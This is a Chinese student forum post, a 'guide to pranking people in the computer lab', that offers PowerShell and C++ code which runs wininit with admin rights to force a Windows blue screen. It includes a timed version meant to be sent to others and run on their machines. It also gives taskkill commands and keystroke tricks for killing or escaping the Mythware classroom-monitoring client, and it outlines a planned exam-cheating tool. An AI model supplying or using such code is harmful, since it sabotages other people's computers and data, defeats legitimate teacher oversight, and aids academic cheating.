【学习论文】机房坑人导论

· · 算法·理论

机房坑人导论

创作者:OIer_forget114514

前:说明

1、本论文准确类型为:电脑应用及代码应用\ 2、如你通过此论文造成各种事情,其责任与本作者无关\ 3、本论文持续更新,最后更新时间:2024.11.23

1:wininit

在powershell中,wininit可以让电脑蓝屏,当且仅当powershell以管理员形式启动

Start-Process PowerShell -Verb RunAs

这一段代码可以让powershell打开一个以管理员程序运行的powershell\ 结合上程序,得:

Start-Process PowerShell -Verb RunAs wininit

C++代码:

#include <bits/stdc++.h>
using namespace std;
int main(){
    system("start powershell Start-Process PowerShell -Verb RunAs wininit");
    return 0;
}

加入定时程序,可以实现定时蓝屏(定时程序见代码):

#include <stdio.h>
#include <time.h>
#include <windows.h>
int t1,t2,t3,t4,t5,t6;
int main() {
    SetConsoleTitle("蓝屏");
    HWND hwnd = GetForegroundWindow();
    RECT windowRect;
    GetWindowRect(hwnd, &windowRect);
    int newWidth = 600;
    int newHeight = 150;
    int x = (windowRect.right + windowRect.left - newWidth) / 2;
    int y = (windowRect.bottom + windowRect.top - newHeight) / 2;
    SetWindowPos(hwnd, NULL, x, y, newWidth, newHeight, SWP_NOZORDER);
    SetWindowLongPtrA(GetConsoleWindow(), GWL_STYLE, GetWindowLongPtrA(GetConsoleWindow(),GWL_STYLE)& ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX);
//初始化
    printf("请输入蓝屏的时间(年月日时分秒):");
    scanf("%d%d%d%d%d%d",&t1,&t2,&t3,&t4,&t5,&t6);
    system("cls");
    while(1){
        time_t seconds = time(NULL); 
        struct tm *local_time = localtime(&seconds); 
        printf("当前时间: %d-%02d-%02d %02d:%02d:%02d\n",
            local_time->tm_year + 1900, 
            local_time->tm_mon + 1,    
            local_time->tm_mon + 1,       
            local_time->tm_hour,       
            local_time->tm_min,        
            local_time->tm_sec);
        printf("蓝屏时间:%d-%02d-%02d %02d:%02d:%02d\n",t1,t2,t3,t4,t5,t6);
        if(t1==local_time->tm_year + 1900&&t2==local_time->tm_mon + 1&&t3==local_time->tm_mday&&t4==local_time->tm_hour&&t5==local_time->tm_min){
            system("start powershell Start-Process PowerShell -Verb RunAs wininit");
            break;
        }
        Sleep(1000);
        system("cls");
    }    
    return 0;
}

提示:\ 你可以用特殊方法发送此程序,然后运行(稍后更新)

2:插件,如何在一个拥有极域教室软件的机房中快速脱控并成为根节点

taskkill /f /im ...

这一段cmd代码可以杀掉程序(强制,包括关联程序)\ 极域电子教室的程序名一般为studentmain.exe

taskkill /im studentmain.exe /f

强杀极域

2.1:如何临时脱控

win7(只能争取10s)\ 按windows键+L键,点切换用户,然后尽快登录(按空格),在登录界面被控就玩完了。\ win10 or win11\ 连按五下shift,打开粘液键,点击窗口,不要点极域窗口,按win+M最小化所有窗口,然后按win+ctrl+D,创建新桌面,就可以脱控了。

征集\ 我们发现win10/11按照此方法脱控后干不了任何事情(因为仍然输入不了字符),各OIer有什么好的方法吗

2.2:脱控插件组合

下载

2.3:根节点插件组合

先下这个(快速下载器,浏览器下载太慢了)\ 然后下这个,解压,按操作走就可以了

3:考试作弊器

3.1:技术

3.1.1:局域网离线字符传输技术
3.1.2:网页离线打包技术

3.2:方案